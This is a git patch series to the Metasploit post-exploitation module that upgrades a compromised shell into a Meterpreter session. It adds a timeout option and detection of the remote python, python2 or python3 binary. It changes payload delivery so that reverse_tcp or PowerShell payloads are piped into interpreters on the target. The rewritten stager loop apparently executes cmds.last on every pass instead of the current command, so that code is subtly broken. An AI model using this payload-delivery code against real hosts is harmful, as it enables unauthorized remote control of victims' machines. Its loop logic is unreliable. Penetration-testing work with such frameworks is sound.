From 17a37a9d4d9d5d07feb5e3cc8b4d04b4f1449023 Mon Sep 17 00:00:00 2001 From: sjanusz Date: Wed, 25 May 2022 11:02:36 +0100 Subject: [PATCH 1/2] Detect more Python binaries & don't run last cmd_exec as channelized --- .../post/multi/manage/shell_to_meterpreter.rb | 62 +++++++++++++------ 1 file changed, 44 insertions(+), 18 deletions(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 6f13b30f22c0..001e760f4bfc 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -45,11 +45,17 @@ def initialize(info = {}) OptString.new('BOURNE_PATH', [false, 'Remote path to drop binary']), OptString.new('BOURNE_FILE', - [false, 'Remote filename to use for dropped binary']) + [false, 'Remote filename to use for dropped binary']), + OptInt.new('COMMAND_TIMEOUT', + [true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]), ]) deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') end + def command_timeout + datastore['COMMAND_TIMEOUT'] + end + # Run method for when run command is issued def run print_status("Upgrading session ID: #{datastore['SESSION']}") @@ -118,7 +124,7 @@ def run lplat = [Msf::Platform::OSX] larch = [ARCH_X64] vprint_status('Platform: OS X') - elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/ + elsif remote_python_binary # Generic fallback for OSX, Solaris, Linux/ARM platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' @@ -176,7 +182,7 @@ def run cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}") else psh_opts[:remove_comspec] = true - cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, 15, { 'Channelized' => false }) + cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false }) end else print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' @@ -186,11 +192,11 @@ def run end when 'python' vprint_status('Transfer method: Python') - cmd_exec("echo \"#{payload_data}\" | python") + cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false }) when 'osx' vprint_status('Transfer method: Python [OSX]') payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {}) - cmd_exec("echo \"#{payload_data}\" | python & disown") + cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false }) else vprint_status('Transfer method: Bourne shell [fallback]') exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) @@ -204,6 +210,21 @@ def run return nil end + # + # Get the Python binary from the remote machine, if any, by running + # a series of channelized `cmd_exec` calls. + # @return String/nil A string if a Python binary can be found, else nil. + # + def remote_python_binary + python_exists_regex = /Python (2|3)\.(\d)/ + # We could cache these values + return 'python' if cmd_exec('python -V 2>&1') =~ python_exists_regex + return 'python2' if cmd_exec('python2 -V 2>&1') =~ python_exists_regex + return 'python3' if cmd_exec('python3 -V 2>&1') =~ python_exists_regex + + nil + end + def transmit_payload(exe, platform) # # Generate the stager command array @@ -249,22 +270,27 @@ def transmit_payload(exe, platform) # sent = 0 aborted = false - cmds.each do |cmd| - ret = cmd_exec(cmd) - if !ret - aborted = true - else - ret.strip! - aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./ - end - if aborted - print_error('Error: Unable to execute the following command: ' + cmd.inspect) - print_error('Output: ' + ret.inspect) if ret && !ret.empty? - break + cmds.each.with_index do |cmd, i| + # The last command should be fire-and-forget, otherwise issues occur where the original session waits + # for an unlimited amount of time for the newly spawned session to exit. + wait_for_cmd_result = i + 1 < cmds.length + # Note that non-channelized cmd_exec calls currently return an empty string + ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result }) + if wait_for_cmd_result + if !ret + aborted = true + else + ret.strip! + aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./ + end + if aborted + print_error('Error: Unable to execute the following command: ' + cmd.inspect) + print_error('Output: ' + ret.inspect) if ret && !ret.empty? + break + end end sent += cmd.length - progress(total_bytes, sent) end rescue ::Interrupt From 7b75bd6e2736e6620b8aee34fb9911e6aa716db2 Mon Sep 17 00:00:00 2001 From: sjanusz Date: Fri, 27 May 2022 10:21:59 +0100 Subject: [PATCH 2/2] Cache remote Python binary name --- .../post/multi/manage/shell_to_meterpreter.rb | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 001e760f4bfc..f7f285f24c2c 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -216,13 +216,21 @@ def run # @return String/nil A string if a Python binary can be found, else nil. # def remote_python_binary + return @remote_python_binary if defined?(@remote_python_binary) + python_exists_regex = /Python (2|3)\.(\d)/ - # We could cache these values - return 'python' if cmd_exec('python -V 2>&1') =~ python_exists_regex - return 'python2' if cmd_exec('python2 -V 2>&1') =~ python_exists_regex - return 'python3' if cmd_exec('python3 -V 2>&1') =~ python_exists_regex - nil + if cmd_exec('python3 -V 2>&1') =~ python_exists_regex + @remote_python_binary = 'python3' + elsif cmd_exec('python -V 2>&1') =~ python_exists_regex + @remote_python_binary = 'python' + elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex + @remote_python_binary = 'python2' + else + @remote_python_binary = nil + end + + @remote_python_binary end def transmit_payload(exe, platform)